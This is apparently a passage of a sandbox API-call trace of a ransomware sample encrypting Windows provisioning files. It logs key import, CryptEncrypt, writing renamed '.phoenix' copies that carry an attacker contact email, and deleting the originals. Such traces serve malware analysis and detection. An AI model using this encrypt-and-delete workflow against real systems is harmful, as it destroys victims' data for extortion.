	[0235.334] DeleteFileW (lpFileName="\\\\?\\C:\\ProgramData\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\126__Connections_Cellular_Alands Mobiltelefon Ab (Finland)_i1$(__MVID)@WAP.provxml" (normalized: "c:\\programdata\\microsoft\\provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\prov\\runtime\\126__connections_cellular_alands mobiltelefon ab (finland)_i1$(__mvid)@wap.provxml")) returned 1
	[0235.335] CryptGenRandom (in: hProv=0x1267b0, dwLen=0x10, pbBuffer=0x2ccfeb0 | out: pbBuffer=0x2ccfeb0) returned 1
	[0235.335] CreateFileW (lpFileName="\\\\?\\C:\\ProgramData\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\127__Connections_Cellular_DNA (Finland)_i0$(__MVID)@WAP.provxml" (normalized: "c:\\programdata\\microsoft\\provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\prov\\runtime\\127__connections_cellular_dna (finland)_i0$(__mvid)@wap.provxml"), dwDesiredAccess=0x80000000, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x2c0
	[0235.335] GetFileSizeEx (in: hFile=0x2c0, lpFileSize=0x2ccfe50 | out: lpFileSize=0x2ccfe50*=639) returned 1
	[0235.335] CloseHandle (hObject=0x2c0) returned 1
	[0235.336] GetFileAttributesW (lpFileName="\\\\?\\C:\\ProgramData\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\127__Connections_Cellular_DNA (Finland)_i0$(__MVID)@WAP.provxml" (normalized: "c:\\programdata\\microsoft\\provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\prov\\runtime\\127__connections_cellular_dna (finland)_i0$(__mvid)@wap.provxml")) returned 0x20
	[0235.336] GetFileAttributesW (lpFileName="\\\\?\\C:\\ProgramData\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\127__Connections_Cellular_DNA (Finland)_i0$(__MVID)@WAP.provxml.id[B4197730-0001].[costelloh@aol.com].phoenix" (normalized: "c:\\programdata\\microsoft\\provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\prov\\runtime\\127__connections_cellular_dna (finland)_i0$(__mvid)@wap.provxml.id[b4197730-0001].[costelloh@aol.com].phoenix")) returned 0xffffffff
	[0235.336] CreateFileW (lpFileName="\\\\?\\C:\\ProgramData\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\127__Connections_Cellular_DNA (Finland)_i0$(__MVID)@WAP.provxml" (normalized: "c:\\programdata\\microsoft\\provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\prov\\runtime\\127__connections_cellular_dna (finland)_i0$(__mvid)@wap.provxml"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x2c0
	[0235.336] SetFilePointerEx (in: hFile=0x2c0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2ccfdf0 | out: lpNewFilePointer=0x0) returned 1
	[0235.336] SetFilePointerEx (in: hFile=0x2c0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2ccfdf0 | out: lpNewFilePointer=0x0) returned 1
	[0235.336] CreateFileW (lpFileName="\\\\?\\C:\\ProgramData\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\127__Connections_Cellular_DNA (Finland)_i0$(__MVID)@WAP.provxml.id[B4197730-0001].[costelloh@aol.com].phoenix" (normalized: "c:\\programdata\\microsoft\\provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\prov\\runtime\\127__connections_cellular_dna (finland)_i0$(__mvid)@wap.provxml.id[b4197730-0001].[costelloh@aol.com].phoenix"), dwDesiredAccess=0x40000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x1, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x2f0
	[0235.336] CryptImportKey (in: hProv=0x1267b0, pbData=0x2ccfda8, dwDataLen=0x4c, hPubKey=0x0, dwFlags=0x0, phKey=0x2ccfe04 | out: phKey=0x2ccfe04*=0x151400) returned 1
	[0235.336] CryptSetKeyParam (hKey=0x151400, dwParam=0x1, pbData=0x2ccfeb0, dwFlags=0x0) returned 1
	[0235.336] ReadFile (in: hFile=0x2c0, lpBuffer=0x835020, nNumberOfBytesToRead=0x110100, lpNumberOfBytesRead=0x2ccfe2c, lpOverlapped=0x0 | out: lpBuffer=0x835020*, lpNumberOfBytesRead=0x2ccfe2c*=0x27f, lpOverlapped=0x0) returned 1
	[0235.625] CryptEncrypt (in: hKey=0x151400, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x835020*, pdwDataLen=0x2ccfdc8*=0x280, dwBufLen=0x280 | out: pbData=0x835020*, pdwDataLen=0x2ccfdc8*=0x280) returned 1
	[0235.625] WriteFile (in: hFile=0x2f0, lpBuffer=0x835020*, nNumberOfBytesToWrite=0x280, lpNumberOfBytesWritten=0x2ccfe10, lpOverlapped=0x0 | out: lpBuffer=0x835020*, lpNumberOfBytesWritten=0x2ccfe10*=0x280, lpOverlapped=0x0) returned 1
	[0235.625] CryptImportKey (in: hProv=0x1267b0, pbData=0x2ccfd9c, dwDataLen=0x4c, hPubKey=0x0, dwFlags=0x0, phKey=0x2ccfe08 | out: phKey=0x2ccfe08*=0x151640) returned 1
	[0235.625] CryptSetKeyParam (hKey=0x151640, dwParam=0x1, pbData=0x2ccfeb0, dwFlags=0x0) returned 1
	[0235.625] CryptEncrypt (in: hKey=0x151640, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x835020*, pdwDataLen=0x2ccfdc8*=0xa0, dwBufLen=0xa0 | out: pbData=0x835020*, pdwDataLen=0x2ccfdc8*=0xa0) returned 1
	[0235.626] CryptDestroyKey (hKey=0x151640) returned 1
	[0235.626] WriteFile (in: hFile=0x2f0, lpBuffer=0x835020*, nNumberOfBytesToWrite=0x152, lpNumberOfBytesWritten=0x2ccfe10, lpOverlapped=0x0 | out: lpBuffer=0x835020*, lpNumberOfBytesWritten=0x2ccfe10*=0x152, lpOverlapped=0x0) returned 1
	[0235.626] CryptDestroyKey (hKey=0x151400) returned 1
	[0235.626] CloseHandle (hObject=0x2c0) returned 1
	[0235.626] CloseHandle (hObject=0x2f0) returned 1
	[0235.626] DeleteFileW (lpFileName="\\\\?\\C:\\ProgramData\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\127__Connections_Cellular_DNA (Finland)_i0$(__MVID)@WAP.provxml" (normalized: "c:\\programdata\\microsoft\\provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\prov\\runtime\\127__connections_cellular_dna (finland)_i0$(__mvid)@wap.provxml")) returned 1
	[0235.627] CryptGenRandom (in: hProv=0x1267b0, dwLen=0x10, pbBuffer=0x2ccfeb0 | out: pbBuffer=0x2ccfeb0) returned 1
	[0235.627] CreateFileW (lpFileName="\\\\?\\C:\\ProgramData\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\128__Cellular_PerSimSettings_$(__ICCID)_AppID.provxml" (normalized: "c:\\programdata\\microsoft\\provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\prov\\runtime\\128__cellular_persimsettings_$(__iccid)_appid.provxml"), dwDesiredAccess=0x80000000, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x2f0
	[0235.627] GetFileSizeEx (in: hFile=0x2f0, lpFileSize=0x2ccfe50 | out: lpFileSize=0x2ccfe50*=452) returned 1
	[0235.628] CloseHandle (hObject=0x2f0) returned 1
	[0235.628] GetFileAttributesW (lpFileName="\\\\?\\C:\\ProgramData\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\128__Cellular_PerSimSettings_$(__ICCID)_AppID.provxml" (normalized: "c:\\programdata\\microsoft\\provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\prov\\runtime\\128__cellular_persimsettings_$(__iccid)_appid.provxml")) returned 0x20
	[0235.628] GetFileAttributesW (lpFileName="\\\\?\\C:\\ProgramData\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\128__Cellular_PerSimSettings_$(__ICCID)_AppID.provxml.id[B4197730-0001].[costelloh@aol.com].phoenix" (normalized: "c:\\programdata\\microsoft\\provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\prov\\runtime\\128__cellular_persimsettings_$(__iccid)_appid.provxml.id[b4197730-0001].[costelloh@aol.com].phoenix")) returned 0xffffffff
	[0235.628] CreateFileW (lpFileName="\\\\?\\C:\\ProgramData\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\128__Cellular_PerSimSettings_$(__ICCID)_AppID.provxml" (normalized: "c:\\programdata\\microsoft\\provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\prov\\runtime\\128__cellular_persimsettings_$(__iccid)_appid.provxml"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x2f0
	[0235.628] SetFilePointerEx (in: hFile=0x2f0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2ccfdf0 | out: lpNewFilePointer=0x0) returned 1
	[0235.628] SetFilePointerEx (in: hFile=0x2f0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2ccfdf0 | out: lpNewFilePointer=0x0) returned 1
	[0235.628] CreateFileW (lpFileName="\\\\?\\C:\\ProgramData\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\128__Cellular_PerSimSettings_$(__ICCID)_AppID.provxml.id[B4197730-0001].[costelloh@aol.com].phoenix" (normalized: "c:\\programdata\\microsoft\\provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\prov\\runtime\\128__cellular_persimsettings_$(__iccid)_appid.provxml.id[b4197730-0001].[costelloh@aol.com].phoenix"), dwDesiredAccess=0x40000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x1, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x2c0
	[0235.628] CryptImportKey (in: hProv=0x1267b0, pbData=0x2ccfda8, dwDataLen=0x4c, hPubKey=0x0, dwFlags=0x0, phKey=0x2ccfe04 | out: phKey=0x2ccfe04*=0x151700) returned 1
	[0235.628] CryptSetKeyParam (hKey=0x151700, dwParam=0x1, pbData=0x2ccfeb0, dwFlags=0x0) returned 1
	[0235.628] ReadFile (in: hFile=0x2f0, lpBuffer=0x835020, nNumberOfBytesToRead=0x110100, lpNumberOfBytesRead=0x2ccfe2c, lpOverlapped=0x0 | out: lpBuffer=0x835020*, lpNumberOfBytesRead=0x2ccfe2c*=0x1c4, lpOverlapped=0x0) returned 1
	[0235.629] CryptEncrypt (in: hKey=0x151700, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x835020*, pdwDataLen=0x2ccfdc8*=0x1d0, dwBufLen=0x1d0 | out: pbData=0x835020*, pdwDataLen=0x2ccfdc8*=0x1d0) returned 1
	[0235.629] WriteFile (in: hFile=0x2c0, lpBuffer=0x835020*, nNumberOfBytesToWrite=0x1d0, lpNumberOfBytesWritten=0x2ccfe10, lpOverlapped=0x0 | out: lpBuffer=0x835020*, lpNumberOfBytesWritten=0x2ccfe10*=0x1d0, lpOverlapped=0x0) returned 1
	[0235.630] CryptImportKey (in: hProv=0x1267b0, pbData=0x2ccfd9c, dwDataLen=0x4c, hPubKey=0x0, dwFlags=0x0, phKey=0x2ccfe08 | out: phKey=0x2ccfe08*=0x151400) returned 1
	[0235.630] CryptSetKeyParam (hKey=0x151400, dwParam=0x1, pbData=0x2ccfeb0, dwFlags=0x0) returned 1
	[0235.630] CryptEncrypt (in: hKey=0x151400, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x835020*, pdwDataLen=0x2ccfdc8*=0x90, dwBufLen=0x90 | out: pbData=0x835020*, pdwDataLen=0x2ccfdc8*=0x90) returned 1
	[0235.630] CryptDestroyKey (hKey=0x151400) returned 1
	[0235.630] WriteFile (in: hFile=0x2c0, lpBuffer=0x835020*, nNumberOfBytesToWrite=0x142, lpNumberOfBytesWritten=0x2ccfe10, lpOverlapped=0x0 | out: lpBuffer=0x835020*, lpNumberOfBytesWritten=0x2ccfe10*=0x142, lpOverlapped=0x0) returned 1
	[0235.630] CryptDestroyKey (hKey=0x151700) returned 1
	[0235.630] CloseHandle (hObject=0x2f0) returned 1
	[0235.630] CloseHandle (hObject=0x2c0) returned 1
	[0235.631] DeleteFileW (lpFileName="\\\\?\\C:\\ProgramData\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\128__Cellular_PerSimSettings_$(__ICCID)_AppID.provxml" (normalized: "c:\\programdata\\microsoft\\provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\prov\\runtime\\128__cellular_persimsettings_$(__iccid)_appid.provxml")) returned 1
	[0235.632] CryptGenRandom (in: hProv=0x1267b0, dwLen=0x10, pbBuffer=0x2ccfeb0 | out: pbBuffer=0x2ccfeb0) returned 1
	[0235.632] CreateFileW (lpFileName="\\\\?\\C:\\ProgramData\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\129__Connections_Cellular_Elisa (Finland)_i0$(__MVID)@WAP.provxml" (normalized: "c:\\programdata\\microsoft\\provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\prov\\runtime\\129__connections_cellular_elisa (finland)_i0$(__mvid)@wap.provxml"), dwDesiredAccess=0x80000000, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x2c0
	[0235.632] GetFileSizeEx (in: hFile=0x2c0, lpFileSize=0x2ccfe50 | out: lpFileSize=0x2ccfe50*=701) returned 1
	[0235.632] CloseHandle (hObject=0x2c0) returned 1
	[0235.632] GetFileAttributesW (lpFileName="\\\\?\\C:\\ProgramData\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\129__Connections_Cellular_Elisa (Finland)_i0$(__MVID)@WAP.provxml" (normalized: "c:\\programdata\\microsoft\\provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\prov\\runtime\\129__connections_cellular_elisa (finland)_i0$(__mvid)@wap.provxml")) returned 0x20
	[0235.632] GetFileAttributesW (lpFileName="\\\\?\\C:\\ProgramData\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\129__Connections_Cellular_Elisa (Finland)_i0$(__MVID)@WAP.provxml.id[B4197730-0001].[costelloh@aol.com].phoenix" (normalized: "c:\\programdata\\microsoft\\provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\prov\\runtime\\129__connections_cellular_elisa (finland)_i0$(__mvid)@wap.provxml.id[b4197730-0001].[costelloh@aol.com].phoenix")) returned 0xffffffff
	[0235.632] CreateFileW (lpFileName="\\\\?\\C:\\ProgramData\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\129__Connections_Cellular_Elisa (Finland)_i0$(__MVID)@WAP.provxml" (normalized: "c:\\programdata\\microsoft\\provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\prov\\runtime\\129__connections_cellular_elisa (finland)_i0$(__mvid)@wap.provxml"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x2c0
	[0235.632] SetFilePointerEx (in: hFile=0x2c0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2ccfdf0 | out: lpNewFilePointer=0x0) returned 1
	[0235.633] SetFilePointerEx (in: hFile=0x2c0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2ccfdf0 | out: lpNewFilePointer=0x0) returned 1
	[0235.633] CreateFileW (lpFileName="\\\\?\\C:\\ProgramData\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\129__Connections_Cellular_Elisa (Finland)_i0$(__MVID)@WAP.provxml.id[B4197730-0001].[costelloh@aol.com].phoenix" (normalized: "c:\\programdata\\microsoft\\provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\prov\\runtime\\129__connections_cellular_elisa (finland)_i0$(__mvid)@wap.provxml.id[b4197730-0001].[costelloh@aol.com].phoenix"), dwDesiredAccess=0x40000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x1, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x2f0
	[0235.633] CryptImportKey (in: hProv=0x1267b0, pbData=0x2ccfda8, dwDataLen=0x4c, hPubKey=0x0, dwFlags=0x0, phKey=0x2ccfe04 | out: phKey=0x2ccfe04*=0x151440) returned 1
	[0235.633] CryptSetKeyParam (hKey=0x151440, dwParam=0x1, pbData=0x2ccfeb0, dwFlags=0x0) returned 1
	[0235.633] ReadFile (in: hFile=0x2c0, lpBuffer=0x835020, nNumberOfBytesToRead=0x110100, lpNumberOfBytesRead=0x2ccfe2c, lpOverlapped=0x0 | out: lpBuffer=0x835020*, lpNumberOfBytesRead=0x2ccfe2c*=0x2bd, lpOverlapped=0x0) returned 1
	[0235.766] CryptEncrypt (in: hKey=0x151440, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x835020*, pdwDataLen=0x2ccfdc8*=0x2c0, dwBufLen=0x2c0 | out: pbData=0x835020*, pdwDataLen=0x2ccfdc8*=0x2c0) returned 1
	[0235.766] WriteFile (in: hFile=0x2f0, lpBuffer=0x835020*, nNumberOfBytesToWrite=0x2c0, lpNumberOfBytesWritten=0x2ccfe10, lpOverlapped=0x0 | out: lpBuffer=0x835020*, lpNumberOfBytesWritten=0x2ccfe10*=0x2c0, lpOverlapped=0x0) returned 1
	[0235.767] CryptImportKey (in: hProv=0x1267b0, pbData=0x2ccfd9c, dwDataLen=0x4c, hPubKey=0x0, dwFlags=0x0, phKey=0x2ccfe08 | out: phKey=0x2ccfe08*=0x151700) returned 1
	[0235.767] CryptSetKeyParam (hKey=0x151700, dwParam=0x1, pbData=0x2ccfeb0, dwFlags=0x0) returned 1
	[0235.767] CryptEncrypt (in: hKey=0x151700, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x835020*, pdwDataLen=0x2ccfdc8*=0xb0, dwBufLen=0xb0 | out: pbData=0x835020*, pdwDataLen=0x2ccfdc8*=0xb0) returned 1
	[0235.767] CryptDestroyKey (hKey=0x151700) returned 1
	[0235.767] WriteFile (in: hFile=0x2f0, lpBuffer=0x835020*, nNumberOfBytesToWrite=0x162, lpNumberOfBytesWritten=0x2ccfe10, lpOverlapped=0x0 | out: lpBuffer=0x835020*, lpNumberOfBytesWritten=0x2ccfe10*=0x162, lpOverlapped=0x0) returned 1
	[0235.767] CryptDestroyKey (hKey=0x151440) returned 1
	[0235.767] CloseHandle (hObject=0x2c0) returned 1
	[0235.767] CloseHandle (hObject=0x2f0) returned 1
	[0235.767] DeleteFileW (lpFileName="\\\\?\\C:\\ProgramData\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\129__Connections_Cellular_Elisa (Finland)_i0$(__MVID)@WAP.provxml" (normalized: "c:\\programdata\\microsoft\\provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\prov\\runtime\\129__connections_cellular_elisa (finland)_i0$(__mvid)@wap.provxml")) returned 1
	[0235.768] CryptGenRandom (in: hProv=0x1267b0, dwLen=0x10, pbBuffer=0x2ccfeb0 | out: pbBuffer=0x2ccfeb0) returned 1
	[0235.768] CreateFileW (lpFileName="\\\\?\\C:\\ProgramData\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\12__Connections_Cellular_Optus (Australia)_i3$(__MVID)@WAP.provxml" (normalized: "c:\\programdata\\microsoft\\provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\prov\\runtime\\12__connections_cellular_optus (australia)_i3$(__mvid)@wap.provxml"), dwDesiredAccess=0x80000000, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x2f0
	[0235.769] GetFileSizeEx (in: hFile=0x2f0, lpFileSize=0x2ccfe50 | out: lpFileSize=0x2ccfe50*=716) returned 1
	[0235.769] CloseHandle (hObject=0x2f0) returned 1
	[0235.769] GetFileAttributesW (lpFileName="\\\\?\\C:\\ProgramData\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\12__Connections_Cellular_Optus (Australia)_i3$(__MVID)@WAP.provxml" (normalized: "c:\\programdata\\microsoft\\provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\prov\\runtime\\12__connections_cellular_optus (australia)_i3$(__mvid)@wap.provxml")) returned 0x20
	[0235.769] GetFileAttributesW (lpFileName="\\\\?\\C:\\ProgramData\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\12__Connections_Cellular_Optus (Australia)_i3$(__MVID)@WAP.provxml.id[B4197730-0001].[costelloh@aol.com].phoenix" (normalized: "c:\\programdata\\microsoft\\provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\prov\\runtime\\12__connections_cellular_optus (australia)_i3$(__mvid)@wap.provxml.id[b4197730-0001].[costelloh@aol.com].phoenix")) returned 0xffffffff
	[0235.769] CreateFileW (lpFileName="\\\\?\\C:\\ProgramData\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\12__Connections_Cellular_Optus (Australia)_i3$(__MVID)@WAP.provxml" (normalized: "c:\\programdata\\microsoft\\provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\prov\\runtime\\12__connections_cellular_optus (australia)_i3$(__mvid)@wap.provxml"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x2f0
	[0235.769] SetFilePointerEx (in: hFile=0x2f0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2ccfdf0 | out: lpNewFilePointer=0x0) returned 1
	[0235.769] SetFilePointerEx (in: hFile=0x2f0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2ccfdf0 | out: lpNewFilePointer=0x0) returned 1
	[0235.769] CreateFileW (lpFileName="\\\\?\\C:\\ProgramData\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\12__Connections_Cellular_Optus (Australia)_i3$(__MVID)@WAP.provxml.id[B4197730-0001].[costelloh@aol.com].phoenix" (normalized: "c:\\programdata\\microsoft\\provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\prov\\runtime\\12__connections_cellular_optus (australia)_i3$(__mvid)@wap.provxml.id[b4197730-0001].[costelloh@aol.com].phoenix"), dwDesiredAccess=0x40000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x1, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x2c0
	[0235.769] CryptImportKey (in: hProv=0x1267b0, pbData=0x2ccfda8, dwDataLen=0x4c, hPubKey=0x0, dwFlags=0x0, phKey=0x2ccfe04 | out: phKey=0x2ccfe04*=0x151280) returned 1
	[0235.769] CryptSetKeyParam (hKey=0x151280, dwParam=0x1, pbData=0x2ccfeb0, dwFlags=0x0) returned 1
	[0235.770] ReadFile (in: hFile=0x2f0, lpBuffer=0x835020, nNumberOfBytesToRead=0x110100, lpNumberOfBytesRead=0x2ccfe2c, lpOverlapped=0x0 | out: lpBuffer=0x835020*, lpNumberOfBytesRead=0x2ccfe2c*=0x2cc, lpOverlapped=0x0) returned 1
	[0236.231] CryptEncrypt (in: hKey=0x151280, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x835020*, pdwDataLen=0x2ccfdc8*=0x2d0, dwBufLen=0x2d0 | out: pbData=0x835020*, pdwDataLen=0x2ccfdc8*=0x2d0) returned 1
	[0236.231] WriteFile (in: hFile=0x2c0, lpBuffer=0x835020*, nNumberOfBytesToWrite=0x2d0, lpNumberOfBytesWritten=0x2ccfe10, lpOverlapped=0x0 | out: lpBuffer=0x835020*, lpNumberOfBytesWritten=0x2ccfe10*=0x2d0, lpOverlapped=0x0) returned 1
	[0236.231] CryptImportKey (in: hProv=0x1267b0, pbData=0x2ccfd9c, dwDataLen=0x4c, hPubKey=0x0, dwFlags=0x0, phKey=0x2ccfe08 | out: phKey=0x2ccfe08*=0x151500) returned 1
	[0236.231] CryptSetKeyParam (hKey=0x151500, dwParam=0x1, pbData=0x2ccfeb0, dwFlags=0x0) returned 1
	[0236.231] CryptEncrypt (in: hKey=0x151500, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x835020*, pdwDataLen=0x2ccfdc8*=0xb0, dwBufLen=0xb0 | out: pbData=0x835020*, pdwDataLen=0x2ccfdc8*=0xb0) returned 1
	[0236.232] CryptDestroyKey (hKey=0x151500) returned 1
	[0236.232] WriteFile (in: hFile=0x2c0, lpBuffer=0x835020*, nNumberOfBytesToWrite=0x162, lpNumberOfBytesWritten=0x2ccfe10, lpOverlapped=0x0 | out: lpBuffer=0x835020*, lpNumberOfBytesWritten=0x2ccfe10*=0x162, lpOverlapped=0x0) returned 1
	[0236.232] CryptDestroyKey (hKey=0x151280) returned 1
	[0236.232] CloseHandle (hObject=0x2f0) returned 1
	[0236.232] CloseHandle (hObject=0x2c0) returned 1
	[0236.232] DeleteFileW (lpFileName="\\\\?\\C:\\ProgramData\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\12__Connections_Cellular_Optus (Australia)_i3$(__MVID)@WAP.provxml" (normalized: "c:\\programdata\\microsoft\\provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\prov\\runtime\\12__connections_cellular_optus (australia)_i3$(__mvid)@wap.provxml")) returned 1
	[0236.233] CryptGenRandom (in: hProv=0x1267b0, dwLen=0x10, pbBuffer=0x2ccfeb0 | out: pbBuffer=0x2ccfeb0) returned 1
	[0236.233] CreateFileW (lpFileName="\\\\?\\C:\\ProgramData\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\139__Connections_Cellular_Orange (France)_i0$(__MVID)@WAP.provxml" (normalized: "c:\\programdata\\microsoft\\provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\prov\\runtime\\139__connections_cellular_orange (france)_i0$(__mvid)@wap.provxml"), dwDesiredAccess=0x80000000, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x2c0
	[0236.235] GetFileSizeEx (in: hFile=0x2c0, lpFileSize=0x2ccfe50 | out: lpFileSize=0x2ccfe50*=718) returned 1
	[0236.235] CloseHandle (hObject=0x2c0) returned 1
	[0236.235] GetFileAttributesW (lpFileName="\\\\?\\C:\\ProgramData\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\139__Connections_Cellular_Orange (France)_i0$(__MVID)@WAP.provxml" (normalized: "c:\\programdata\\microsoft\\provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\prov\\runtime\\139__connections_cellular_orange (france)_i0$(__mvid)@wap.provxml")) returned 0x20
	[0236.235] GetFileAttributesW (lpFileName="\\\\?\\C:\\ProgramData\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\139__Connections_Cellular_Orange (France)_i0$(__MVID)@WAP.provxml.id[B4197730-0001].[costelloh@aol.com].phoenix" (normalized: "c:\\programdata\\microsoft\\provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\prov\\runtime\\139__connections_cellular_orange (france)_i0$(__mvid)@wap.provxml.id[b4197730-0001].[costelloh@aol.com].phoenix")) returned 0xffffffff
